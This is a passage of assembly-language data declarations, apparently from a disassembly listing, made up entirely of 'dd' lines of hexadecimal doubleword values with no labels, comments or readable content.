		dd 0FE409396h, 2DC435h,	248539CFh, 3BC5B77Fh, 0CEBB502Eh
		dd 89487003h, 219BEC04h, 0CC49A7C4h, 0D800BF61h, 567A0B3Ch
		dd 0B85FDA8Bh, 63F80C99h, 0E962771Ah, 51408794h, 3EBB9FAh
		dd 674AE348h, 108857C4h, 1500BBA9h, 0CD4D0743h,	48459529h
		dd 0BE92FE32h, 28C12BD0h, 0D6B027Ah, 0FB1039D0h, 51A9DB5Fh
		dd 10181Dh, 1287F4FDh, 0F843B888h, 938D4F38h, 1105985Eh
		dd 44A4B501h, 0C5BD1389h, 0D1234A1Ah, 4BDF69E8h, 2C21A96Ah
		dd 8E80F53Ch, 84C89D32h, 1043FF4Ch, 5B281E6Dh, 41CB90FAh
		dd 0F0E07F21h, 3A7E9D57h, 772301F4h, 9D9C85A1h,	0A5AE8882h
		dd 26A0233h, 28D0D98Bh,	5301FB49h, 0CEA00B3h, 6BD1DF0h
		dd 0F31F0EC3h, 6FC0D1F5h, 9798287Fh, 7D2CC7B0h,	8A518A09h
		dd 4BB5E9D4h, 1928BA0Eh, 0BF04FB5Bh, 0B2B0F1B6h, 81C9CFAh
		dd 2EBA8843h, 9D0484B0h, 0F6BB17B1h, 853104C0h,	0A6AE23DDh
		dd 0C2BEF01Dh, 0C1D90E75h, 9514C90Bh, 0BB819584h, 254751E4h
		dd 0B77D1288h, 4A7E0458h, 289D04B4h, 8B69500Eh,	2C71DF12h
		dd 84B29ACh, 5FA5D80Dh,	4680DFB5h, 0FF641E97h, 90CFA435h
		dd 63054432h, 65AADC0Bh, 0F95800DBh, 2C645B5Fh,	620F2589h
		dd 0C446DEBFh, 50EF7A00h, 9D19D2F8h, 0EC2EFFFDh, 7F049250h
		dd 6A0F1831h, 819AFAB2h, 5D2238C3h, 0C7D1C0B5h,	419085FDh
		dd 2C0D5522h, 0AD2E1DB5h, 0DC0300B7h, 0EC765127h, 14556781h
		dd 2E40E901h, 0BD100FEDh, 7FB03812h, 97088B22h,	0E6C0BCDEh
		dd 98015670h, 0C004FD46h, 0E4DFBFFAh, 15B87162h, 5E795F1Fh
		dd 25730D11h, 27D7E185h, 9DC1C809h, 0AC2E1069h,	8957C4E6h
		dd 5F70A4BAh, 8103C5B0h, 968060F7h, 4E8B93Ah, 4D00B633h
		dd 93C61745h, 0D9009B29h, 0ED8C8BBFh, 4A2831h, 2E3F743Eh
		dd 0E2F7666Dh, 2BFEFCA1h, 6A1F8DF9h, 15D6007Bh,	5F14ACF0h
		dd 0C21AF201h, 0F8DCB239h, 4CC82BE0h, 15383151h, 0D1D24E5Eh
		dd 89628DA9h, 0F700FD4Ch, 4CCCE34Ah, 39279755h,	0D30378E2h
		dd 1289C5FDh, 48FE30F8h, 0D7805104h, 0A2A25F91h, 282A475h
		dd 83F072E2h, 9FE0EB48h, 2980162Dh, 8795699Dh, 8107A384h
		dd 450109B0h, 1DDEA009h, 0D03BB4A8h, 3B18C2A1h,	0F38011BDh
		dd 0C3492FCFh, 0AC300800h, 0FC88B654h, 0FEB04E6Dh, 89BBED52h
		dd 79588971h, 8CE45D13h, 1E1E8421h, 1F0B5985h, 0FE1B43A5h
		dd 4F91A77h, 3766ED10h,	8D003BE9h, 4B243DB5h, 0E66EAF13h
		dd 2D09DB3Ah, 6DDF6A64h, 174AC0CBh, 0CC0EE665h,	80AFB5E1h
		dd 0FF5F50F8h, 0AB514F95h, 9200187Ah, 0A913BC3Fh, 4A119D54h
		dd 0EA000DE9h, 0DECF1CD0h, 130097E1h, 46CF91Ah,	9F6BF71h
		dd 0B949028Ah, 5D51E277h, 0BB58F65Bh, 7BE6048Ah, 0B2DAB403h
		dd 9EA30043h, 41309F6h,	0E95B50AEh, 0EF8103FCh,	2E4BB934h
		dd 2B2BABCh, 40E1FF40h,	0C0492B12h, 0D20175FAh,	0E839E781h
		dd 0C0EA29C8h, 0C7080AEh, 0D1C233ADh, 30B6D0B0h, 0BCF0F495h
		dd 5D0216DDh, 3BAC8860h, 4CF0EBF7h, 1001E92h, 0CB42BA28h
		dd 190E48Eh, 0CF4716EFh, 5B5BD8B3h, 626C79Dh, 22395220h
		dd 0DF51354h, 0C098DE88h, 683ED6BEh, 74564F48h,	83F3AE83h
		dd 0D78291F0h, 8EB2A309h, 0AB64ADh, 6919466Ah, 0D288DC09h
		dd 9A26C977h, 6508CDD6h, 9AA2432h, 0E560C18Dh, 1B06EB3h
		dd 7F23A920h, 1BC27250h, 8C10318h, 0B2E54AC7h, 0F3575819h
		dd 574F5846h, 0A19D0908h, 4C2A2826h, 899D67C9h,	0D5C42AD5h
		dd 7AAB704Fh, 616500B2h, 0FE23B902h, 0A8B71159h, 801370B8h
		dd 4C04DDDBh, 8D0E2E55h, 0C4CA726h, 5DCFD9Ch, 27340F98h
		dd 0C5B50E79h, 0E1FF13D0h, 51BDF030h, 0AAEE00ECh, 0D67B2BAFh
		dd 85BCCB71h, 4146FB6Ch, 5B076004h, 6B8DD719h, 3C6C0956h
		dd 1201942h, 0AF014845h, 13582C39h, 6986F203h, 0CD5FD5FFh
		dd 61426050h, 0D9FB0901h, 0BBC96075h, 3584EF0Ch, 41F99E60h
		dd 890C8810h, 64622517h, 0E670B2DBh, 0F94C02B0h, 0EF80CC9Eh
		dd 1AB554E8h, 25885682h, 829DB5F5h, 0F88B664Ch,	4197815Ch
		dd 0D9A65152h, 4C981DE3h, 0B84A4127h, 0A92D49CDh, 1A9726B8h
		dd 70925BAAh, 0BB2D5068h, 0B8325045h, 0E0FA8DA8h, 0F877345Fh
		dd 451B9312h, 335DD804h, 0F90E510Ch, 0E93A2941h, 5C0E96Eh
		dd 4E7D01C4h, 2583BB8Fh, 0AD2220F1h, 14681C40h,	0DA03A704h
		dd 0AB60DA25h, 0E6FFA4FBh, 58D0537Dh, 36007001h, 0CB819E8Dh
		dd 3CEA1AECh, 0D900923h
		dd 0E4DD4A15h, 0FC24AC3Eh, 71C825C0h, 2912CFC6h, 85C16DB5h
		dd 3A249FE9h, 5FBB0A52h, 25A3DAF3h, 0FC4BB666h,	97F8B18Ch
		dd 0ADF1AD1Ah, 0BDA0F300h, 0F43E312Bh, 5AB60346h, 0A26A4B65h
		dd 11D1EB0h, 0A6E9B528h, 2FA93180h, 2F437B6h, 46D92011h
		dd 25C051CEh, 749789F9h, 0AB1CDCE6h, 60D29749h,	3491C412h
		dd 0B6E45853h, 0BB660781h, 19617187h, 922442D3h, 3DB5D527h
		dd 4059A480h, 3A7AC70Dh, 0F9AC1360h, 84DF177Ah,	0B840A905h
		dd 97300A9h, 442952F6h,	2B0C0877h, 0B12C0DBDh, 0EA3D499Dh
		dd 72338D4Bh, 0DA7A00F9h, 8DA1AF80h, 0A4A1B6E8h, 0E61F19D9h
		dd 0C459F20Fh, 8DB45F9Ah, 51DA8F0Bh, 4DC580EFh,	0F9AAC813h
		dd 0C2E5C00h, 0CBC00574h, 19895094h, 815801D9h,	0E0CDECE3h
		dd 4C322F3Bh, 6A5951h, 2CE50A31h, 0CA0069E8h, 345E36F3h
		dd 2DE16E4h, 0D723602Ah, 4FDA107Ah, 0AD950F6h, 3878C55Ch
		dd 0BD7FC927h, 0C0141EB7h, 325AE5F0h, 2106EF71h, 61FE8B83h
		dd 6DC71266h, 0D30DF252h, 0CF82239Bh, 0AF89BBF8h, 5D441C59h
		dd 0A034F7BBh, 4F9BC7D4h, 0E9B8048Fh, 0EEE3BA51h, 733018B2h
		dd 292B90A0h, 13FDE876h, 0F683FBC7h, 25A8F8D8h,	0CABC09C8h
		dd 0D6582848h, 0D2401D97h, 4780C3B5h, 0F4D540D1h, 9CAE0B3Fh
		dd 0C7A9037Ch, 0E2D26D75h, 575EF0AFh, 2F0D7451h, 46FC05BCh
		dd 5209FB0h, 91B37B13h,	63436635h, 3ABFA4A8h, 7B993A95h
		dd 0DED350FCh, 6135DD02h, 5EA28D72h, 6589672Ah,	2BD1B171h
		dd 0B6BE4034h, 7437B1A6h, 0E684D578h, 8E2BF8Eh,	85076089h
		dd 0F2B837F3h, 3E5E61D1h, 1C5B76Bh, 6DEED9B8h, 0ADD013Ah
		dd 0DE266B2Dh, 0BCFCB9F1h, 71AAA374h, 25EB1816h, 6E6BBEFh
		dd 0D611F697h, 29BEBD02h, 9414C595h, 0D78102C2h, 47480A4Dh
		dd 8021AC6h, 58283F1Eh,	0E9135E7Ch, 0EE6D67FDh,	7D0F3701h
		dd 0E522FF8h, 2287169Eh, 94F821B5h, 34B728F5h, 0B907FEh
		dd 258C15ACh, 0FFC25DEFh, 601DD556h, 248DBD04h,	2D1017FDh
		dd 0C6612505h, 0B89295BCh, 0F67B77FBh, 0FF6A4BC5h, 0BB00FC6Eh
		dd 0C25BF3E5h, 431E28B0h, 1E529531h, 0BEF54528h, 8531613Ch
		dd 3CF26869h, 668CA596h, 9D507A60h, 1D614D6h, 914A1D17h
		dd 70DA9DE4h, 0C828BFAEh, 5348A594h, 2F57946h, 7B4FA95Fh
		dd 0DF47843h, 7E8AB32Ch, 0F18D2985h, 0DFB17D12h, 88C40A5Eh
		dd 4DA9C179h, 0FC392E1Ah, 4F67A83Fh, 0CA6BABh, 79F0885Ah
		dd 1C9E89h, 803CAA5Dh, 569676CFh, 0F98A520Eh, 34A3365Fh
		dd 27288400h, 56EC796Dh, 0A2965D31h, 0F74A1509h, 0CD9D2B09h
		dd 75C99C2h, 27EE3DAFh,	66BC864Eh, 0AAF77F40h, 8867040Eh
		dd 0BDD4EC77h, 820F8851h, 7E08D19Fh, 0B8F43340h, 0BA858F01h
		dd 24283B3Dh, 0BC1F342Fh, 0AE31205Ch, 0CADA4B4Ch, 1FA43517h
		dd 6083DCDBh, 0F9F00F8Bh, 0BB251079h, 0E6511022h, 5B0E0096h
		dd 0B138289Fh, 8A00DFFEh, 0B23FE872h, 74583492h, 2272B068h
		dd 852D2861h, 80C23D8Dh, 0C9A0FF60h, 6D986FDFh,	13409D76h
		dd 83EB0481h, 0BC683C26h, 0D4DB4A62h, 0ADBFC80h, 0D69FCFF7h
		dd 0C6BF61F9h, 6F2D2FE8h, 72B86239h, 5E1D0305h,	6FC48F51h
		dd 6C897AACh, 0E9160F80h, 0FF71F28Ch, 16C465A5h, 4E102660h
		dd 4BA4235Ch, 8B0EB18Ch, 0FA651C00h, 3BD50175h,	0E79F0440h
		dd 0BCF947B0h, 2F60CEA9h, 0A1AD090Bh, 49BD294Dh, 0EE614124h
		dd 979309Dh, 4AB7600Fh,	0F5B58915h, 50507ACCh, 0F69FFA9Fh
		dd 0DED62642h, 1F5B72Dh, 380ECD81h, 4FEF46A8h, 84D0C9C1h
		dd 13C5FCB6h, 76B2EBh, 823AC63Ch, 1239C932h, 0F10340AFh
		dd 68AD3B88h, 41696E1Eh, 2C02B2CFh, 68FBD47Fh, 0FBE65F38h
		dd 95BF82Ch, 12247508h,	67A250h, 0F0C809DDh, 1E7039h, 5D681917h
		dd 0E254889Eh, 0C903BB03h, 435B4BAEh, 7DC0FFh, 8DDC7CE2h
		dd 4EC0625Ch, 51943402h, 756A7065h, 2170CF73h, 8D311D7Fh
		dd 2D8C69C5h, 0A49BE290h, 58ACF400h, 0CD0A29F0h, 166C00C3h
		dd 7F5E4376h, 2358BF01h, 125D17EFh, 0BA9D5D93h,	32F1770Bh
		dd 50BD5349h, 8604050Ah, 0D9BF0F89h, 9BD286BCh,	0D45D80C9h
		dd 9425CA73h, 30F501DBh, 2EF9D1FFh, 8596FDFCh, 0E2685264h
		dd 0B176888Ch, 920575EAh, 9AFB02DFh, 15AFC085h,	0B6050CFh
		dd 0DB2DBA66h, 61C1C002h, 85CD804Ah, 50D9EBE5h,	16B8F069h
		dd 0B997D705h, 9B82C72Eh, 58AB5E0Dh, 9E84C606h,	8C01D430h
		dd 0F492EE3h, 322FDBB7h, 0B684506Ah, 0F3F2520Ah, 0F8243002h
		dd 90A9D4B6h, 6112ED7Dh, 0C054F633h, 0AA38A216h, 89FA858Bh
		dd 98B1DD85h, 0C451642Eh, 53400B9Dh, 5F4B50D8h,	2F204CD9h
		dd 2E1A41CDh, 33124175h, 0E93141E5h, 1D8416FDh,	423D5BDh
		dd 0FFB9FA8Ah, 0E4AD5B88h, 0FC91010Ah, 5440CAC4h, 0ED40207Ah
		dd 905B2740h, 0D9C30968h, 4E2EB0F5h, 0E60E19A8h, 12878970h
		dd 4DC2416Fh, 7371E411h, 39A31E40h, 739AA401h, 0F5C593B0h
		dd 1413482Fh, 400DC2A5h, 972739DAh, 0F5600DB0h,	609061E2h
		dd 21895250h, 709B29BFh, 33562C0Bh, 0AA2E13C3h,	0F2BFBFC8h
		dd 0C842FC59h, 2B0921D5h, 160DD1C8h, 5DE10FC5h,	79E2B6h
		dd 0E1714CC8h, 18E4920h, 89F4917Ah, 0B81EB59Dh,	5C0CB61h
		dd 53E9DFBFh, 211781B2h, 8332223h, 20426089h, 9BC0312Eh
		dd 93B41A74h, 6C5C5700h, 0B1852979h, 61D9C92Fh,	5697F470h
		dd 0F03C40B4h, 42005C6Dh, 0EB26410Dh, 4F75F3Fh,	0AEA1A8Ah
		dd 0BD3FD140h, 93EB8F3h, 0A7DDB501h, 0E96E29A2h, 91107916h
		dd 0E3E82914h, 9992A980h, 11F55C8Fh, 4C43E95Bh,	8D8B0DAAh
		dd 222E03FFh, 0F3753206h, 299A0429h, 15B3BFDCh,	16A58385h
		dd 0CDA04F23h, 2546D473h, 0AD63049Bh, 0A11ABC2Ch, 3A0942E4h
		dd 3B04506Ah, 0A2534C93h, 0E740123h, 306D7C49h,	0D7E820h
		dd 0C1F64651h, 563C150Ah, 70992D13h, 1F819BF0h,	0D358EEF3h
		dd 8B8DAA33h, 0B8D4E7F5h, 0EA6B59B9h, 561BB02h,	0B45C70F9h
		dd 46742B24h, 3D5C001Ch, 786CCD7Dh, 88FD13FCh, 0CE88AA60h
		dd 8EB56B23h, 0F9FC7525h, 90F3B862h, 90315B60h,	8D27BF1Bh
		dd 41C02B27h, 267DDDCDh, 123DBA28h, 0E39BDF80h,	9889CDFAh
		dd 880D02C2h, 0B9D8C55Bh, 10D60108h, 8F3A459Eh,	6010CFF7h
		dd 744E146Dh, 1CB3EE30h, 4CCD5DF0h, 139AC412h, 90494E3h
		dd 0B80C89BDh, 520FBC92h, 6E4E908Fh, 616404C9h,	8EB85553h
		dd 512B59A2h, 860B0030h, 5CCA18A7h, 9EDD5101h, 534D8508h
		dd 0D9099178h, 2E8B5B21h, 63B88749h, 4D892840h,	0D3EF8012h
		dd 330B88E3h, 2D407DBDh, 0E14AFFFCh, 6782899Bh,	775C883Ch
		dd 0E708B251h, 98E5DD09h, 44717179h, 762057BAh,	7E7B8CF9h
		dd 5F660141h, 17213B54h, 0D8D0D902h, 59598D29h,	14977F51h
		dd 45C2786h, 8BC2B757h,	9C186099h, 8A3DD662h, 0A8E80B3h
		dd 0E284BEBFh, 0DDF69D15h, 5030572Dh, 329707CDh, 8084B562h
		dd 2CE70B87h, 1202EA72h, 8A8B4FADh, 906A5CD8h, 68A9D2C1h
		dd 3512D5A8h, 0BAA38FE9h, 0E1120548h, 5650E761h, 2167B0B1h
		dd 0CB3E148Bh, 8E42C6FAh, 1850904h, 90FC0616h, 7F291372h
		dd 8AD23050h, 0C901C722h, 1BDF55E4h, 22700E31h,	0E77C013Bh
		dd 1B66F87h, 0CDF3C690h, 34803D70h, 0C13E01CFh,	51EF595h
		dd 0D39ECAF2h, 0C293F282h, 5950DA8Ah, 31280073h, 11A7459Dh
		dd 0EAB36D00h, 2332CC29h, 21C400A9h, 523CBBCAh,	29955B5Fh
		dd 8175D1E7h
		dd 7218BFF0h, 4CCBCC5Eh, 8FB20A00h, 2E4BD9FFh, 54D87D01h
		dd 4918E6h, 0A5F4AB8Ch,	0B577474Eh, 0DA5C6500h,	2CE64552h
		dd 31583963h, 0BF575F13h, 0FDFB1B90h, 0A20D0B7Dh, 3C8548EFh
		dd 1CCA88Bh, 15E9BB66h,	8DC9310Fh, 5A2431B8h, 3B3D6AF9h
		dd 0DABF25FFh, 769DF746h, 0E674D61Fh, 248422B9h, 228754EAh
		dd 0FBC6AF90h, 342C0ED1h, 0FD2C3C2h, 0B972A012h, 8FE6D784h
		dd 0C667ECA0h, 1C28E309h, 0EDA04A7h, 0B58B6040h, 0AEBD1835h
		dd 6109118Dh, 0B520A3E9h, 7307D781h, 2405F3Bh, 9FAEF1CBh
		dd 6EEA5C31h, 0EB70F9C9h, 0F4E45CB5h, 0CC72E600h, 0C73CB44Dh
		dd 7A3D2CF3h, 114108CDh, 810BE808h, 4FEBD625h, 6A27C8F9h
		dd 207CA613h, 89D85D30h, 9FE507CFh, 13BF0432h, 5B890C77h
		dd 0E59D2B5Fh, 0F3B05226h, 0B85A6F49h, 20724EBh, 28D995A6h
		dd 19850B01h, 61254C28h, 664B4EE6h, 0BB0A9A18h,	46B54D6Dh
		dd 3E42989h, 87060997h,	0ECE3D373h, 908ADA96h, 7AB750D1h
		dd 0DCF49E3Dh, 290B2605h, 0CFB099BDh, 2CCE17BBh, 5EEB162h
		dd 0E890ADEBh, 704900AAh, 0D11A5BBh, 0BD162B50h, 92AA2ED1h
		dd 68001445h, 5F1ACAF4h, 0B51C097h, 24740481h, 695A3974h
		dd 0AC5024BBh, 44E696E1h, 0EEFB05F0h, 8BF83F01h, 0CE04B387h
		dd 30B9B220h, 4F82901Dh, 8A3C5095h, 0FCC25EF9h,	1394D4FBh
		dd 2EDEBEC9h, 4D8AB081h, 0F0C96661h, 0BD953107h, 6710229h
		dd 0F5BD8960h, 8C79515h, 4F2D541Ch, 533743B3h, 0B87AAF88h
		dd 5A07A558h, 0DE7D630h, 0BF3E70E9h, 761E673Dh,	0AD080BE4h
		dd 0E3672511h, 71D4A05Ch, 8916BE33h, 4EF9317Dh,	3FEF8562h
		dd 8CD0FA07h, 0E0A71E00h, 4D9D1489h, 6DF7F51Ah,	0BBFD6A6Ah
		dd 0BC1CA9B8h, 6C9288D5h, 30A12905h, 511FE8F7h,	0C26D5733h
		dd 0B35C5F92h, 0B9098368h, 69B3711Eh, 0FB503E5Bh, 542C626Bh
		dd 590B1F29h, 39803F2Fh, 147EC2D1h, 2104E551h, 0CA5D7C99h
		dd 0AFD3B2B8h, 0D66431D0h, 541B0594h, 0C08F0C97h, 3C2A22BDh
		dd 5548FD00h, 80E2659Bh, 96C225D7h, 0BF883D63h,	98CF97ABh
		dd 4EE2725Fh, 0AA270F01h, 44417F9Eh, 0C0CEDF8Eh, 5D36C0BAh
		dd 539F3C8Ch, 197BC2DBh, 0BE56B09Ah, 489D338Bh,	0B8F9501Dh
		dd 9DB386AAh, 2D63FD6h,	1BC7544Bh, 0C240CD59h, 0F4A226Dh
		dd 0F450CDE6h, 8CFE4BAEh, 8DEE609Eh, 49457949h,	736189D4h
		dd 18185984h, 9D153F75h, 0BCFA7F29h, 0A92DA600h, 298C87FEh
		dd 761A8E0Fh, 810F839Fh, 0F9272501h, 9960A0C2h,	1B258F5Ah
		dd 29A6C00Ch, 3929BFB5h, 5BA59E59h, 6E9270B4h, 17F74201h
		dd 83F80788h, 10F19F41h, 0D2C8AC04h, 28E1FBA6h,	7DF62094h
		dd 2260F5Fh, 21DD2064h,	0B83E5B49h, 8C008C1Bh, 23CAB93Bh
		dd 90E47B01h, 0CA2D5FB7h, 0B162460Fh, 0AB606140h, 96AB0B09h
		dd 86F16057h, 53D11AB0h, 0C25B7C61h, 96BDAB0Eh,	29619EFCh
		dd 122F7585h, 0B2D3B60Fh, 0A6F63015h, 0F1256C98h, 9DCECE32h
		dd 0AE59EE89h, 3EAD3C44h, 2753CECh, 0F59D6117h,	1B418204h
		dd 0DE2E0712h, 0E83EF472h, 0F5814BDCh, 8F822369h, 613CC0BFh
		dd 0C323F2B7h, 7190EC89h, 8A099DBDh, 52AA29E9h,	0A9453785h
		dd 35BD1642h, 8AB36852h, 0C0C19B4Ah, 751C645h, 7582B5FBh
		dd 3457E4B3h, 62748DB9h, 0F592A41h, 57FC4A00h, 3C25DF5Fh
		dd 61140D15h, 0B57AF2F9h, 1D39F082h, 0B1975929h, 2AC6F9A0h
		dd 1890665Ch, 0E2FC8A12h, 88BFC04Ah, 747D38AAh,	0FFF338E9h
		dd 69B921DFh, 185896B2h, 98C168A0h, 282D25EFh, 9AB5A773h
		dd 0B5442394h, 14E25090h, 0E8F2F509h, 5EC50A00h, 0DF02AC49h
		dd 0AF087828h, 79087B19h, 59F442D1h, 3F6AD9C9h,	29B860BDh
		dd 3C5CE835h, 50C510B0h, 5169B174h, 0D4E8740Fh,	0F8B0A913h
		dd 7E0B192Eh, 50BC52E9h, 4CE0B18Bh, 0D4F7DF81h,	56C434AEh
		dd 0BFBC880Fh, 9B52FA8Fh, 6579C366h, 921588E8h,	733A98ADh
		dd 257D90A6h, 0BC6E2619h, 1B950A92h, 0F8BFD89Dh, 6ED15EFFh
		dd 92372F40h, 0CDFA7776h, 0BC72F600h, 4682C654h, 51EF01E1h
		dd 8AAD1C0Eh, 0A3282BF9h, 0D809899Ch, 0B38C1995h, 51635801h
		dd 836F1A00h, 0D1B589F9h, 41868229h, 0ABA60452h, 0E69B8000h
		dd 5A3BD7AAh, 6B7F09A8h, 0EA8B5B10h, 0D10786E4h, 0E5F642E7h
		dd 4856B101h, 24A6F831h, 5B534300h, 21041469h, 90F278FEh
		dd 4121B920h, 0DAB7C833h, 4D4B43B1h, 0D78541CEh, 8098FB7Ch
		dd 581239F6h, 0C9B37BE9h, 14D4CF84h, 0E26D3A09h, 7D188D89h
		dd 4300017Bh, 610537C6h, 94BB0FA2h, 0A208C6Eh, 33383AF4h
		dd 3948F112h, 14AC35B9h, 0CA41E78Ch, 0ED3B1BF9h, 82BF893Ch
		dd 832FE493h, 0A25EB7D5h, 2DBF56F9h, 11559F77h,	88358018h
		dd 98DA70B5h, 1CD92057h, 0D3DA3295h, 0EC51718Fh, 3D2530DFh
		dd 90F566E9h, 1503A00Ah, 9F6A7D27h, 0D302C337h,	584E07EEh
		dd 30124192h, 0B5A0971h, 26D96FBFh, 0FC60E3E0h,	9DB1F380h
		dd 51802056h, 0E2BF3A55h, 4A401220h, 0E46213C6h, 31975BD3h
		dd 5F17174Ch, 663701D1h, 0A8984318h, 0BF50802Bh, 7000E6F9h
		dd 0EB8171E4h, 4B0EB2CBh, 0F527936Dh, 8B881684h, 0A19203C1h
		dd 1CC58E9Ah, 9E25CEB0h, 0D7D84000h, 968FF3D9h,	598BA075h
		dd 0B499D213h, 0C523BD46h, 0B3FAC34h, 5821452Dh, 41A559Dh
		dd 603844ACh, 597C66D8h, 612EDFBDh, 0E2F70CF4h,	813743Ah
		dd 0C0A2C82Bh, 80725200h, 0E670D1D7h, 39A6A100h, 3E2EFE1Eh
		dd 1660F78Bh, 0E916408Dh, 0B7378563h, 897E7301h, 0F352F68Bh
		dd 0EF20505Bh, 47C2514h, 2186FA9h, 692AB85Bh, 9645006h
		dd 9CDF4ECh, 11E50872h,	702F50E9h, 0DB2D1891h, 0C6192525h
		dd 9D938003h, 0FCC952Fh, 9BB3144h, 805B874h, 0C42FFA5Bh
		dd 0A3718Eh, 86DC5F5Eh,	0C9F333B2h, 95893814h, 8A0F1368h
		dd 4B9DABCCh, 4F0898CDh, 0A0645341h, 0A0FC9F6Ah, 0ABA01DCh
		dd 0C2F8E0B0h, 801D305Fh, 0E29787F6h, 62F65472h, 0F15623B9h
		dd 0C1D56D2Fh, 313EB7CFh, 0DB217E21h, 6E7AFCE1h, 0F19D042Fh
		dd 0EFF5632h, 14700529h, 75EAFC5Fh, 0DBE878Ah, 1025B19h
		dd 0F213C781h, 0D23E9207h, 33853804h, 0B4E6A912h, 18A8CABDh
		dd 7FA31213h, 5713E4ECh, 194814Fh, 0BD64072Ah, 612569E9h
		dd 603E18C4h, 0FACF2Bh,	6A19BE42h, 0A69C281Fh, 0D4547652h
		dd 0BFB35F01h, 56BADCD2h, 6243B330h, 1B1D968Bh,	0A5055909h
		dd 72C0E74Dh, 0A09B2F71h, 951889ADh, 0ED69B667h, 0F6C74354h
		dd 0E056D9A0h, 172D72C5h, 2CA1CEB7h, 12CC2871h,	0D8AC2AE1h
		dd 305A9BE3h, 38356EFAh, 0C099809Dh, 8BF7161Fh,	0F8A3B3B8h
		dd 653B2E27h, 0F196A5C7h, 0EBEC00FEh, 2170223Dh, 5150BE1Fh
		dd 26E8C380h, 4CC0451Ch, 8F122D0Bh, 5F81E337h, 0D94447C4h
		dd 6EBFE1FFh, 42D60059h, 8448F64Fh, 8D290C7Fh, 0DF611595h
		dd 458C1497h, 17233A48h, 7BF7F0A9h, 1D9038C2h, 0EEF54894h
		dd 0E2213512h, 0C14D9274h, 5B294640h, 0DB2479BCh, 0EB01D591h
		dd 0C0B786E7h, 0D8A6282Eh, 0C3E86BE9h, 0B79F10C0h, 423B4665h
		dd 4761805Fh, 9D6CC050h, 2573F892h, 50B76085h, 84D7DD00h
		dd 53EA48ACh, 980FEE50h, 0C7E010ABh, 0C94F3B0Ah, 0E1ED7C00h
		dd 0B7FAEF44h, 0C70A97D6h, 197109EBh, 0B52DC173h, 0B4DD0BC9h
		dd 0AA00EC51h, 16454264h, 66B9A09Dh, 0C6249783h, 27245477h
		dd 565E0941h, 0A953EB15h, 719BA350h, 31DF1CBBh,	0CCCE252Ah
		dd 41554D97h, 0F0C907FFh
		dd 23249C83h, 0B9082EF3h, 31C42F2Eh, 0A1D91500h, 0C740D397h
		dd 60CC0237h, 0F732D8B5h, 9907175Ch, 0CE1A5B59h, 90C03F67h
		dd 0F1B2FF1h, 0FA3ED861h, 0EE12A500h, 0F656EFF0h, 0A44D00E5h
		dd 1B833176h, 0BA230015h, 6351EAABh, 8A27F26Fh,	738208B7h
		dd 0DB2B03D6h, 0C784504Bh, 95290CA0h, 1EB5B94Eh, 1EBCD079h
		dd 5AC5845Ch, 0C06801D3h, 0EED282AEh, 1F73B981h, 4968AC60h
		dd 0D009BB7Eh, 0BE85061h, 2D9C557Bh, 29625B7h, 26D19C04h
		dd 5A602DAEh, 40F8C0B3h, 3B5BDB2h, 0BF503013h, 49BADB45h
		dd 2EA196C1h, 66F8B835h, 0E9241820h, 6CA5776Bh,	69DE467Ch
		dd 6362F732h, 0FB6B3456h, 394770D8h, 10AF4D48h,	890E13E1h
		dd 0D3169195h, 0B884BC14h, 792CD82Fh, 1BF08A2Ah, 0D31D4127h
		dd 0F2220051h, 213702FFh, 268AFB05h, 0F2BBA5AEh, 0EA130062h
		dd 0E8E12989h, 0B8B602C4h, 5BB11571h, 2C99D74h,	5CB0EEA0h
		dd 0DE202C56h, 82C85B09h, 506F4128h, 53058A6Ch,	0E097F380h
		dd 0FEB6BE75h, 0D8472EF6h, 97C780CBh, 0F1769568h, 508849h
		dd 772D8D6Ah, 5A9D8529h, 5B65E727h, 18C8A98Fh, 0E9CBFBC3h
		dd 0A83BD59Dh, 0BD09810Eh, 6A231A25h, 48EC6A97h, 59288036h
		dd 9DFADB8Ch, 77B02C93h, 95000D6Eh, 8D0816F6h, 32DB0h
		dd 0D7C2C046h, 0DCA9CBE3h, 125E6148h, 34E32C41h, 80E79BD7h
		dd 31C13FCDh, 599495F4h, 22B2869h, 0E17E930h, 0EF13388Eh
		dd 3CC4D1DBh, 53BAE4Eh,	0A9B5F9A5h, 0BED7203Fh,	0F990C611h
		dd 0CF9532E8h, 68FB4204h, 71032660h, 43601497h,	0B8DA4EAFh
		dd 8080FA96h, 99AD9D23h, 158D044Ch, 0E163B808h,	7A7E0377h
		dd 6AA200A6h, 26198D93h, 0FFA70833h, 4E8012E9h,	98C45ADFh
		dd 0D4CE0073h, 0C705556Ah, 170B31A2h, 0E6327812h, 49BDF68Ah
		dd 0B75ACC0Dh, 0E49A4B52h, 0D8590D89h, 0DD8D0054h, 9CD81FA2h
		dd 219E870Fh, 0C610FC96h, 0B7257D26h, 0AB3873F8h, 0E6B258A5h
		dd 0A92C0A98h, 0EC403817h, 4DB3501Ch, 8A15D329h, 0A75B9ADCh
		dd 0A7FAB18Dh, 2576372Eh, 38458980h, 4F8580F6h,	2B4AD773h
		dd 26A7D243h, 0AD7B268Bh, 0FB4B2B59h, 3635034h,	0A1A39C02h
		dd 5C4A1739h, 0B88687Dh, 0C95B1E01h, 0DC69AEA6h, 0D4827A8Dh
		dd 5B0116E5h, 9867C283h, 0AED3A5A0h, 0C509E82Ch, 2098EB36h
		dd 8B952659h, 0C5396D79h, 0CB9480BFh, 1A9792A0h, 99987594h
		dd 6125B589h, 0F076CE2Ch, 60C5583h, 0C5FA2CFEh,	0F5969DDBh
		dd 0F825E6A2h, 1011D553h, 7F594D00h, 9F881F92h,	6A31BF0Eh
		dd 7A27A180h, 6B2EF6C0h, 2F1D2350h, 6DA846C5h, 120B7444h
		dd 0B722919Dh, 0CE293295h, 0F0965507h, 11D6B694h, 12E896h
		dd 7746807Bh, 0F1B65EAh, 4FBEE627h, 5CB7C2FEh, 27D17CCh
		dd 534AD8Ch, 4AF0F85Bh,	1A225DCAh, 3BCF8100h, 962F7932h
		dd 50E634B3h, 0C7531720h, 7556DC73h, 5B771E56h,	0A523C38Dh
		dd 47B6BD00h, 3258CEAFh, 19007777h, 31E521F9h, 4BED8A50h
		dd 13B8C0Fh, 709E9590h,	598F5B2Dh, 0FC2F1816h, 799ABD99h
		dd 29615356h, 4F2571B5h, 3833282Bh, 0D773818Ah,	0DD2AAF46h
		dd 0A8512997h, 0CF8007A8h, 199D3386h, 8095E270h, 0F97FBF22h
		dd 8B164BCEh, 9529121Fh, 4BE947F4h, 0E020857Fh,	0C15A8B02h
		dd 7200106Eh, 7E25EEC1h, 8A2E6015h, 4112AFF0h, 0EF5B14ADh
